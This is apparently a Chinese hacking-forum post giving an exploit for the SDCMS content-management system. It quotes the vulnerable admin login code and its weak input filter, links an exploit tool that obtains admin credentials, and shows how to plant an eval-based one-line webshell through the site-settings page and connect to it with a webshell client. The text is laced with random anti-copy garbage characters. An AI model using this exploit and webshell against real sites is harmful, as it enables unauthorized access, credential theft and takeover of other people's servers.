SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
2 {. m. D" O$ o1 [% B- N3 L漏洞文件：后台目录/index.asp
. @) q2 p" F, O. c( D
; @8 |  h6 h& W6 f! g# u' _Sub Check
    Dim username,password,code,getcode,Rs
  S" R8 r# `& f0 z1 a' F. b% v$ c    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
+ h& N0 P) _, q" b/ e    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
( Q- U! S7 _$ F6 X    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
( l# X6 u, U) B4 m" H* N9 T    IF username="" or password="" Then
3 b$ ]! g& w' h1 \+ V! g7 O  H' K        Echo "用户名或密码不能为空"ied
' R6 F6 @* ~; k# Y( W    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
! `" _3 j( K/ Q2 g3 `- {        IF Rs.Eof Then
. @9 M, o1 w( |            AddLog username,GetIp,"登录失败",1
$ [% c, s- T- X            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
: d3 G- T' n. t$ a2 [% n            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
) d! H( Q$ |' E, o5 ~" r  u            Add_Cookies "sdcms_alllever",Rs(4)
1 y. x5 V7 n2 a/ E) J# [7 F            Add_Cookies "sdcms_infolever",Rs(5)
6 _# W! i# B. I+ N( O* Q; C            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
7 R- m) U; m! ?3 @& G5 i- p% K" Y            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
2 p% W2 K  A) T8 |$ [0 y; `) i: U            End IF
5 W  }- @. ~. s6 v1 }3 _: ~4 Y            Go("sdcms_index.asp")
' @2 M7 S& n( a% k- y        End IF
. {" u5 \7 t% r$ _! o0 ]5 ~3 Z. F        Rs.Close
; |5 L' d* e. J$ y7 V& Y        Set Rs=Nothing
    End IF
' s% P  B* g9 K4 W4 gEnd Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

% _6 A& ~- q* j* w1 ]. B' e6 z/ `Function FilterText(ByVal t0,ByVal t1)
3 s; {2 v; X$ i    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
( N' h/ G% m- L2 r$ F3 q$ [  d- C8 h    t0=Trim(t0)
    Select Case t1
6 C$ _; A8 _! k. h* C5 n        Case "1"
9 Y) z# t7 k# y8 [1 K' h            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
7 ?0 G% X% ]" L6 B6 b        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
8 w- I9 Y' k3 F$ K  {            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
9 ^# d2 O+ u& t            t0=Replace(t0,Chr(12),"")'换页
. }- J* E' E1 [6 c) @& H3 }+ ^            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
, v0 [" R: g, j9 N, C$ {) ]) I; P+ ]            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
+ d6 e. s6 h2 U6 X1 `# J9 R" P            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
& ^. Z0 F2 H3 L/ V, z) k7 M            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
6 H- o. {7 ]  j7 b$ {) e            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
8 F. P/ o3 }* u            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
2 M+ x  K+ r' g3 e& [            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
6 g# o+ a1 }5 e) Q6 t  Q9 ]: @            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
; ^6 f' C6 B. P2 B, `% n            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
2 E2 Q2 C$ ^$ U( }  l7 N* w            t0=Replace(t0,Chr(94),"")'^
, K9 D1 e; Z# p  k8 W* P8 a7 }1 c1 f6 ^            t0=Replace(t0,Chr(95),"")'_
% u6 P7 h9 K" X% b' C$ N- p) N! U            t0=Replace(t0,Chr(96),"")'`
: A# g/ w- j) j, h- c' [            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
5 I% v+ e/ r4 S4 L1 U" Q# l            t0=Replace(t0,Chr(126),"")'~
1 Y+ @$ u6 a; E9 ]! T/ g# s    Case Else
        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
# ?! `- h+ f  ^; S0 t    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
2 L2 T4 _: ~9 K  `+ N7 j        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
* U4 t. [! n' e0 y' Z; O0 b0 T" U+ f    End If
0 u' C+ n# [* M    FilterText=t0
- c! y$ Y2 m) {; |8 p4 gEnd Function
  n: z2 F* t" g! B+ U* L; @
看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
  k2 N5 J6 `( R# ?; ]; y                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
/ s  Y: m$ K: O/ ]3 N( Y3 K")
& `) N! R4 I( ]) g- N                        t0=Replace(t0,Chr(10),"
6 c" u8 N; \- d  Y")
: q( e: v4 _* N4 l0 E漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
. @1 n& ]8 s5 OEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

测试:

/ p. J4 P; r2 l1 u% j
: V+ D- f5 e9 T* [" H现在输入工具上验证码,然后点OK
2 T2 G" ~7 |2 ]) k
9 `: G- n+ b) T5 \7 g* w4 U; X
看到我们直接进入后台管理界面了,呵呵!
; j' M: I# o! B6 \. q3 J

3 t; [$ r, C: F* p9 N# G* C0 I
; v/ A" v' x2 G* y- B. }' Q5 ^9 d4 W+ \这样直接进入后台了。。。。


% X2 ?" G5 u: Z. N3 P7 ^
SDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?



4 c6 ?+ F$ d( ^! ]5 o6 z5 |! [: [OK,现在用菜刀连接下!




6 g- ~7 |' N4 Z6 `